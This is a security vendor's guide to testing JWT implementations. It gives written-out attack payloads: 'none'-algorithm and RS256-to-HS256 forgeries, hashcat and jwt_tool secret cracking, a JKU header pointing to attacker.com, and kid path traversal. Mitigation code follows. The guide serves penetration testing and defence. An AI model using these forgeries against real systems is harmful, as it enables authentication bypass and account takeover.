JWT Security Vulnerabilities: Complete Testing Guide 2025
JSON Web Tokens (JWT) are everywhere in modern web applications, but their widespread adoption has also made them a prime target for attackers. In this comprehensive guide, we'll explore common JWT vulnerabilities, how to test for them, and best practices for secure implementation.
Table of Contents
What is JWT?
JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. JWTs are commonly used for authentication and information exchange in modern web applications, especially in stateless RESTful APIs and microservices architectures.
JWTs are popular because they eliminate the need for server-side session storage. Instead of storing session data on the server, all necessary information is encoded directly into the token, which the client sends with each request. The server can then verify and decode the token to authenticate the user and extract their permissions.
Why JWT Security Matters
Because JWTs often contain sensitive information like user IDs, roles, and permissions, and because they're used to make critical authorization decisions, vulnerabilities in JWT implementations can lead to:
- Account Takeover: Attackers can forge tokens to impersonate any user
- Privilege Escalation: Regular users can elevate themselves to admin roles
- Authentication Bypass: Complete circumvention of authentication mechanisms
- Data Exposure: Sensitive information leaking through poorly configured tokens
Understanding JWT Structure
A JWT consists of three Base64-URL encoded parts separated by dots (.):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
1. Header (Green)
Contains metadata about the token, including the algorithm used to sign it:
{
"alg": "HS256",
"typ": "JWT"
}
2. Payload (Orange)
Contains the claims (statements about the user and additional data):
{
"sub": "1234567890",
"name": "John Doe",
"role": "user",
"iat": 1516239022
}
3. Signature (Red)
Used to verify the token hasn't been tampered with. Created by signing the header and payload with a secret key:
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)
Common JWT Vulnerabilities
1. Algorithm Confusion (alg: none)
The JWT specification includes an optional "none" algorithm, meaning no signature verification is required. Attackers can modify the algorithm to "none" and remove the signature entirely:
// Vulnerable token{
"alg": "none",
"typ": "JWT"
}.
{
"sub": "admin",
"role": "administrator"
}.
// No signature!
Impact: Complete authentication bypass. An attacker can create arbitrary tokens with any user ID or role without needing to know the signing secret.
2. Algorithm Confusion (HS256 vs RS256)
Some libraries that verify RS256 (asymmetric) tokens can be tricked into treating them as HS256 (symmetric) tokens. The attacker changes the algorithm to HS256 and signs the token with the public key (which is publicly available):
// Original: alg: RS256 (asymmetric)// Modified: alg: HS256 (symmetric)// Signed with: PUBLIC KEY instead of PRIVATE KEY
Impact: Token forgery. The server uses the public key (intended for verification) as the HMAC secret, allowing attackers to create valid tokens.
3. Weak Signing Secret
If the JWT is signed with a weak or common secret (like "secret", "password", or "123456"), attackers can brute-force it and then forge tokens:
// Common weak secrets:"secret"
"password"
"123456"
"your-256-bit-secret"
"jwt-secret-key"
4. Sensitive Data Exposure
JWTs are Base64 encoded, NOT encrypted. Anyone can decode and read the payload. Storing sensitive information in JWTs without encryption is a critical mistake:
// BAD: Sensitive data in plain JWT{
"userId": "12345",
"email": "[email protected]",
"ssn": "123-45-6789",
"creditCard": "4111111111111111"
}
5. Missing Expiration (exp) Check
Tokens without expiration times (or servers that don't validate them) never expire, allowing stolen tokens to be used indefinitely:
// Token without expiration{
"sub": "12345",
"role": "admin"
// No "exp" claim!
}
6. Null Signature (CVE-2020-28042)
Some JWT libraries have vulnerabilities where they accept tokens with a null or empty signature when they shouldn't:
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.
7. JKU/X5U Header Injection
The jku (JWK Set URL) and x5u (X.509 URL) headers allow specifying a URL to fetch the public key. Attackers can point this to their own server:
{
"alg": "RS256",
"jku": "https://attacker.com/jwks.json"
}
JWT Testing Workflow
Step 1: Capture the JWT
Use Burp Suite, OWASP ZAP, or browser DevTools to intercept requests and identify JWT tokens. Look for:
- Authorization headers:
Authorization: Bearer eyJhbG... - Cookies:
token=eyJhbG... - URL parameters:
?token=eyJhbG... - POST body parameters
Step 2: Decode and Analyze
Decode the JWT using jwt.io or command-line tools:
# Using jwt_toolpython3 jwt_tool.py <JWT_TOKEN># Manual decoding with base64echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
Look for:
- Algorithm type (alg: HS256, RS256, etc.)
- Claims (user ID, role, permissions)
- Expiration time (exp)
- Issuer (iss) and audience (aud)
- Sensitive data in the payload
Step 3: Test for Common Vulnerabilities
Systematically test each vulnerability type using the techniques described in the next section.
Exploitation Techniques
Technique 1: None Algorithm Attack
Modify the algorithm to "none" and remove the signature:
# Original header{"alg":"HS256","typ":"JWT"}# Modified header{"alg":"none","typ":"JWT"}{"alg":"None","typ":"JWT"}{"alg":"NONE","typ":"JWT"}{"alg":"nOnE","typ":"JWT"}# Remove signature (keep the trailing dot)eyJhbGci...eyJzdWI...
Technique 2: Algorithm Confusion (RS256 to HS256)
Change RS256 to HS256 and sign with the public key:
# 1. Get the public key (often available at /jwks.json or /.well-known/jwks.json)# 2. Convert public key to PEM format# 3. Change algorithm to HS256{"alg":"HS256","typ":"JWT"}# 4. Sign with public key as HMAC secretHMACSHA256(header + "." + payload, public_key)
Technique 3: Secret Brute Force
Use tools to crack weak secrets:
# Using jwt_toolpython3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt# Using hashcathashcat -a 0 -m 16500 jwt.txt wordlist.txt# Using john the ripperjohn jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
Technique 4: Token Manipulation
After cracking or discovering the secret, forge tokens with elevated privileges:
# Original payload{
"sub": "user123",
"role": "user"
}# Modified payload{
"sub": "admin",
"role": "administrator"
}# Sign with discovered secretpython3 jwt_tool.py -T -S hs256 -p "discovered_secret"
Technique 5: JKU Header Injection
Host your own JWK Set and point the token to it:
# Modified header{
"alg": "RS256",
"jku": "https://attacker.com/jwks.json",
"kid": "attacker_key"
}# Host jwks.json with your public key# Sign with your private key
Technique 6: Kid (Key ID) Injection
The kid parameter is sometimes used in file path operations, making it vulnerable to path traversal:
{
"alg": "HS256",
"kid": "../../../../../../dev/null"
}// Sign with empty string as secret (contents of /dev/null)
Essential JWT Testing Tools
1. jwt_tool
Comprehensive Python tool for JWT analysis and exploitation:
# Installationgit clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt# Automated scanningpython3 jwt_tool.py <JWT> -M at# All attack modespython3 jwt_tool.py <JWT> -M pb
2. Burp Suite Extensions
- JSON Web Tokens - Decode, manipulate, and resign JWTs
- JWT4B (JWT for Burp) - Advanced JWT testing capabilities
- Autorize - Test authorization with different JWT tokens
3. jwt.io Debugger
Browser-based tool for quick JWT decoding and verification. Great for understanding token structure but don't paste production tokens (they're sent to the server).
4. CyberChef
Swiss army knife for encoding/decoding. Recipe: "From Base64" → "JSON Beautify"
5. Hashcat
Fastest tool for brute-forcing JWT secrets (mode 16500 for HS256/384/512):
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
Mitigation Strategies
1. Enforce Strong Algorithms
// Node.js (jsonwebtoken library)jwt.verify(token, secret, {
algorithms: ['HS256'] // Whitelist allowed algorithms
});// Python (PyJWT library)jwt.decode(
token,
secret,
algorithms=["HS256"] # Never allow "none"
)
2. Use Strong Secrets
- Minimum 256 bits (32 characters) of randomness
- Use cryptographically secure random generators
- Store secrets in environment variables or key management systems
- Rotate secrets regularly
# Generate strong secret (Node.js)const secret = require('crypto')
.randomBytes(64)
.toString('hex');# Generate strong secret (Python)import secrets
secret = secrets.token_hex(64)
3. Validate All Claims
jwt.verify(token, secret, {
algorithms: ['HS256'],
issuer: 'your-domain.com',
audience: 'your-app',
clockTolerance: 30 // Account for clock skew
});
4. Set Short Expiration Times
const token = jwt.sign(
{ userId: user.id },
secret,
{
expiresIn: '15m', // Access token: 15 minutes
algorithm: 'HS256'
}
);// Use refresh tokens with longer expiration for better UX
5. Never Store Sensitive Data
JWTs are encoded, not encrypted. Never include:
- Passwords or password hashes
- Social security numbers
- Credit card information
- Personal identifiable information (PII)
- API keys or secrets
6. Implement Token Revocation
While JWTs are stateless, critical applications should maintain a revocation list:
// Store revoked token JTI (JWT ID) in Redisasync function isTokenRevoked(jti) {
return await redis.exists(`revoked:${jti}`);
}
async function revokeToken(jti, expiresIn) {
await redis.setex(
`revoked:${jti}`,
expiresIn,
'1'
);
}
7. Use HTTPS Only
Always transmit JWTs over HTTPS to prevent interception. Set secure cookie flags:
res.cookie('token', jwt, {
httpOnly: true, // Prevent XSS access
secure: true, // HTTPS only
sameSite: 'strict' // CSRF protection
});
8. Validate Key Sources
If using JKU or X5U headers, whitelist trusted domains:
const ALLOWED_JKU_DOMAINS = [
'https://your-domain.com',
'https://trusted-partner.com'
];
if (header.jku && !ALLOWED_JKU_DOMAINS.includes(header.jku)) {
throw new Error('Untrusted JKU domain');
}
Conclusion
JWT vulnerabilities remain prevalent in modern web applications due to misconfiguration, weak secrets, and improper implementation. By understanding the common attack vectors and testing methodically with the right tools, security professionals can identify these vulnerabilities before attackers do.
Key takeaways for secure JWT implementation:
- Always whitelist allowed algorithms and never accept "none"
- Use cryptographically strong secrets (minimum 256 bits)
- Set short expiration times and validate all claims
- Never store sensitive data in JWT payloads
- Implement token revocation for critical applications
- Transmit tokens over HTTPS with secure cookie flags
Need help securing your JWT implementation? Red Badger Security offers comprehensive Web Application Security Testing and API Security Assessments to identify and remediate JWT vulnerabilities and other authentication flaws in your applications.
Secure Your JWT Implementation
Our expert security engineers can assess your authentication mechanisms, identify JWT vulnerabilities, and provide remediation guidance. Get a comprehensive security assessment today.
Get Started